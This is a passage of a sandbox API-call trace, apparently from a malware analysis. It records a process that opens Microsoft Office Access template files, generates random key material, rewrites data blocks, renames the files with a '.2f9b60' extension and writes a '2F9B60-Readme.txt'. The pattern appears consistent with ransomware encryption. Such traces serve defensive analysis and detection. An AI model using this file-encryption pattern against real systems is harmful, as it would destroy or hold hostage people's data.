office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1f50) returned 1 [0243.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d4b0) returned 1 Thread: id = 1619 os_tid = 0x1aec [0125.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt")) returned 0x20 [0125.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt", dwFileAttributes=0x20) returned 1 [0129.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x170c [0129.017] GetFileSizeEx (in: hFile=0x170c, lpFileSize=0x2122f940 | out: lpFileSize=0x2122f940*=1107436) returned 1 [0129.017] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x10e5e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.017] ReadFile (in: hFile=0x170c, lpBuffer=0x2122f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2122f908, lpOverlapped=0x0 | out: lpBuffer=0x2122f8c0*, lpNumberOfBytesRead=0x2122f908*=0x4, lpOverlapped=0x0) returned 1 [0129.028] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0129.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cc0 [0129.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0129.029] NtQuerySystemTime (in: CurrentTime=0x2122f800 | out: CurrentTime=0x2122f800*=132462177342922000) returned 0x0 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x1f898aef [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x9528808 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x5170340d [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x4970610c [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x714286a6 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x18dfa706 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x390d2164 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x7d54a441 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x1df6d503 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x61f5d568 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x64058354 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0xae784e8 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x602ca73e [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x153413e9 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x42bcb53f [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x6cc26752 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x7648398f [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x430a7d49 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x38fd4be1 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x40d0dc98 [0129.029] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x59469509 [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x4a462254 [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x39c7bd4c [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x1fd4c023 [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x7395e96f [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x15b3f0db [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x5eacc725 [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x1be0c92d [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x1ad54c7 [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x6ff4b063 [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x44206f7f [0129.030] RtlRandomEx (in: Seed=0x2122f7f0 | out: Seed=0x2122f7f0) returned 0x52fb218d [0129.041] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.042] ReadFile (in: hFile=0x170c, lpBuffer=0x1cf12af0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2122f860, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesRead=0x2122f860*=0x3c00, lpOverlapped=0x0) returned 1 [0129.065] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0129.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cef8680 [0129.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0129.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0129.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0129.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.066] WriteFile (hFile=0x170c, lpBuffer=0x1cef8680, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2122f860, lpOverlapped=0x0) [0178.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0178.619] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x8ac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.620] ReadFile (in: hFile=0x170c, lpBuffer=0x1cf12af0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2122f860, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesRead=0x2122f860*=0x3c00, lpOverlapped=0x0) returned 1 [0180.527] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x8ac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9500 [0180.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9500) returned 1 [0180.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42919e90 [0180.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9500 [0180.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94d0 [0180.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94d0) returned 1 [0180.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.530] WriteFile (in: hFile=0x170c, lpBuffer=0x42919e90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2122f860, lpOverlapped=0x0 | out: lpBuffer=0x42919e90*, lpNumberOfBytesWritten=0x2122f860*=0x3c00, lpOverlapped=0x0) returned 1 [0198.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42919e90) returned 1 [0198.300] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x10a9ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.300] ReadFile (in: hFile=0x170c, lpBuffer=0x1cf12af0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2122f860, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesRead=0x2122f860*=0x3c00, lpOverlapped=0x0) returned 1 [0198.452] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x10a9ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135a10 [0198.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135a10) returned 1 [0198.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fd00b0 [0198.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135a10 [0198.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431359e0 [0198.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431359e0) returned 1 [0198.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.456] WriteFile (in: hFile=0x170c, lpBuffer=0x41fd00b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2122f860, lpOverlapped=0x0 | out: lpBuffer=0x41fd00b0*, lpNumberOfBytesWritten=0x2122f860*=0x3c00, lpOverlapped=0x0) returned 1 [0214.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd00b0) returned 1 [0214.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8d00 [0214.048] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.048] WriteFile (in: hFile=0x170c, lpBuffer=0x1ceb8490*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2122f910, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8490*, lpNumberOfBytesWritten=0x2122f910*=0x162, lpOverlapped=0x0) returned 1 [0217.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c420 [0217.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0217.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266720 [0217.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266720) returned 1 [0217.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ad220 [0217.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266720 [0217.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666f0 [0217.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202666f0) returned 1 [0217.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0217.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c420) returned 1 [0217.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x4319f0c0 [0217.515] sprintf (in: _Dest=0x4319f0c0, _Format="%c%c" | out: _Dest="53") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0c2, _Format="%c%c" | out: _Dest="79") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0c4, _Format="%c%c" | out: _Dest="ca") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0c6, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0c8, _Format="%c%c" | out: _Dest="ba") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0ca, _Format="%c%c" | out: _Dest="e5") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0cc, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0ce, _Format="%c%c" | out: _Dest="6b") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0d0, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0d2, _Format="%c%c" | out: _Dest="c1") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0d4, _Format="%c%c" | out: _Dest="ff") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0d6, _Format="%c%c" | out: _Dest="70") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0d8, _Format="%c%c" | out: _Dest="a3") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0da, _Format="%c%c" | out: _Dest="b7") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0dc, _Format="%c%c" | out: _Dest="4c") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0de, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0e0, _Format="%c%c" | out: _Dest="e1") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0e2, _Format="%c%c" | out: _Dest="ca") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0e4, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0e6, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0e8, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0ea, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0ec, _Format="%c%c" | out: _Dest="2e") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0ee, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.515] sprintf (in: _Dest=0x4319f0f0, _Format="%c%c" | out: _Dest="07") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0f2, _Format="%c%c" | out: _Dest="69") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0f4, _Format="%c%c" | out: _Dest="a6") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0f6, _Format="%c%c" | out: _Dest="30") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0f8, _Format="%c%c" | out: _Dest="3f") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0fa, _Format="%c%c" | out: _Dest="f3") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0fc, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.516] sprintf (in: _Dest=0x4319f0fe, _Format="%c%c" | out: _Dest="24") returned 2 [0217.516] sprintf (in: _Dest=0x4319f100, _Format="%c%c" | out: _Dest="c3") returned 2 [0217.516] sprintf (in: _Dest=0x4319f102, _Format="%c%c" | out: _Dest="af") returned 2 [0217.516] sprintf (in: _Dest=0x4319f104, _Format="%c%c" | out: _Dest="32") returned 2 [0217.516] sprintf (in: _Dest=0x4319f106, _Format="%c%c" | out: _Dest="0e") returned 2 [0217.516] sprintf (in: _Dest=0x4319f108, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.516] sprintf (in: _Dest=0x4319f10a, _Format="%c%c" | out: _Dest="e0") returned 2 [0217.516] sprintf (in: _Dest=0x4319f10c, _Format="%c%c" | out: _Dest="34") returned 2 [0217.516] sprintf (in: _Dest=0x4319f10e, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.516] sprintf (in: _Dest=0x4319f110, _Format="%c%c" | out: _Dest="95") returned 2 [0217.516] sprintf (in: _Dest=0x4319f112, _Format="%c%c" | out: _Dest="34") returned 2 [0217.516] sprintf (in: _Dest=0x4319f114, _Format="%c%c" | out: _Dest="58") returned 2 [0217.516] sprintf (in: _Dest=0x4319f116, _Format="%c%c" | out: _Dest="35") returned 2 [0217.516] sprintf (in: _Dest=0x4319f118, _Format="%c%c" | out: _Dest="b5") returned 2 [0217.516] sprintf (in: _Dest=0x4319f11a, _Format="%c%c" | out: _Dest="87") returned 2 [0217.516] sprintf (in: _Dest=0x4319f11c, _Format="%c%c" | out: _Dest="0a") returned 2 [0217.516] sprintf (in: _Dest=0x4319f11e, _Format="%c%c" | out: _Dest="62") returned 2 [0217.516] RtlInitAnsiString (in: DestinationString=0x2122f988, SourceString="5379cab8bae50c6becc1ff70a3b74c5be1caa7d08b4f2ef50769a6303ff3a724c3af320e8be034d295345835b5870a62" | out: DestinationString="5379cab8bae50c6becc1ff70a3b74c5be1caa7d08b4f2ef50769a6303ff3a724c3af320e8be034d295345835b5870a62") [0217.516] RtlAnsiStringToUnicodeString (in: DestinationString=0x2122f958, SourceString="5379cab8bae50c6becc1ff70a3b74c5be1caa7d08b4f2ef50769a6303ff3a724c3af320e8be034d295345835b5870a62", AllocateDestinationString=1 | out: DestinationString="5379cab8bae50c6becc1ff70a3b74c5be1caa7d08b4f2ef50769a6303ff3a724c3af320e8be034d295345835b5870a62") returned 0x0 [0217.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fc7f0 [0217.517] wcscat (in: _Dest=0x4312b860, _Source="5379cab8bae50c6becc1ff70" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5379cab8bae50c6becc1ff70") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5379cab8bae50c6becc1ff70" [0217.517] wcscat (in: _Dest=0x4312b860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5379cab8bae50c6becc1ff70.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5379cab8bae50c6becc1ff70.2f9b60" [0217.517] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5379cab8bae50c6becc1ff70.2f9b60", NtPathName=0x2122f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5379cab8bae50c6becc1ff70.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1ced02e0 [0237.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced02e0) returned 1 [0237.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ccbba0) returned 1 [0237.883] NtQueryInformationFile (in: FileHandle=0x170c, IoStatusBlock=0x2122f998, FileInformation=0x2122f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2122f998, FileInformation=0x2122f9a8) returned 0x0 [0237.883] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x2122f998, FileInformation=0x2122f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b860) returned 1 [0240.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fc7f0) returned 1 [0240.130] FlushFileBuffers (hFile=0x170c) returned 1 [0240.132] CloseHandle (hObject=0x170c) returned 1 [0242.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4230ed20 [0242.464] wcscpy (in: _Dest=0x4230ed20, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.464] wcscat (in: _Dest=0x4230ed20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0xffffffff [0242.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xad0 [0243.634] WriteFile (hFile=0xad0, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2122f850, lpOverlapped=0x0) Thread: id = 1620 os_tid = 0x1ae8 [0125.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt")) returned 0x20 [0125.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt", dwFileAttributes=0x20) returned 1 [0129.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10e0 [0129.020] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x22def6e0 | out: lpFileSize=0x22def6e0*=528200) returned 1 [0129.020] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x80f44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.020] ReadFile (in: hFile=0x10e0, lpBuffer=0x22def660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22def6a8, lpOverlapped=0x0 | out: lpBuffer=0x22def660*, lpNumberOfBytesRead=0x22def6a8*=0x4, lpOverlapped=0x0) returned 1 [0129.047] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0129.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0129.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0129.047] NtQuerySystemTime (in: CurrentTime=0x22def5a0 | out: CurrentTime=0x22def5a0*=132462177343078000) returned 0x0 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0xb032023 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x3883af67 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x25cb7e50 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x2038f21d [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x692f7be1 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x8c7ad05 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x2552da40 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x487ea136 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x3bdde165 [0129.047] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x133f6940 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0xa31da96 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0xc37708 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x80bcb85 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x1ae4dc9b [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x2948e87c [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x3bb8a772 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x300c7320 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x185203f1 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x4d0439b7 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x13d939ac [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x49433098 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x1dc74012 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x40464154 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x1ef6d1d0 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x6c064911 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x528158f5 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x13e24a06 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x50d1bac1 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x556e6fa3 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x76c92a68 [0129.048] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x297e0b21 [0129.049] RtlRandomEx (in: Seed=0x22def590 | out: Seed=0x22def590) returned 0x7762aa1d [0129.062] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.062] ReadFile (in: hFile=0x10e0, lpBuffer=0x1cee5a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22def600, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesRead=0x22def600*=0x3c00, lpOverlapped=0x0) returned 1 [0129.068] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.068] 